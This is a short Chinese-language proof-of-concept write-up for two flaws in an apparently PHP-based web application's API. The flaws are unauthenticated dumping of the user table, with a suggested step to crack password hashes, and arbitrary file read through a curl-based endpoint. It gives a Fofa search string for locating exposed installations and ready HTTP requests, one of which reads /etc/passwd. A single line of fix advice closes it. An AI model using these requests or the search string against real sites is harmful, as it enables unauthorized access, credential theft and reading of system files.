0x01 漏洞描述:
未授权:
在Index.php方法中查询了网站中User表里的所有字段,并将用户枚举出来,因为$noNeedLogin = ['*']导致可未授权访问
任意文件读取:
在/Ems.php 控制器中的 juhecurl 方法存在curl_exec函数,且参数url为用户可控,导致漏洞产生
0x02 搜索语句:
Fofa:"/VwmRIfEYDH.php"
0x03 漏洞复现:
未授权访问:
POST /api/index HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/128.0.0.0 Safari/537.36
md5碰撞得明文密码
任意文件读取:
GET /api/ems/juhecurl?url=file:///etc/passwd HTTP/1.1
Host: your-ip
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.54 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
0x04 修复建议:
控制用户传参限制,接口加上权限校验。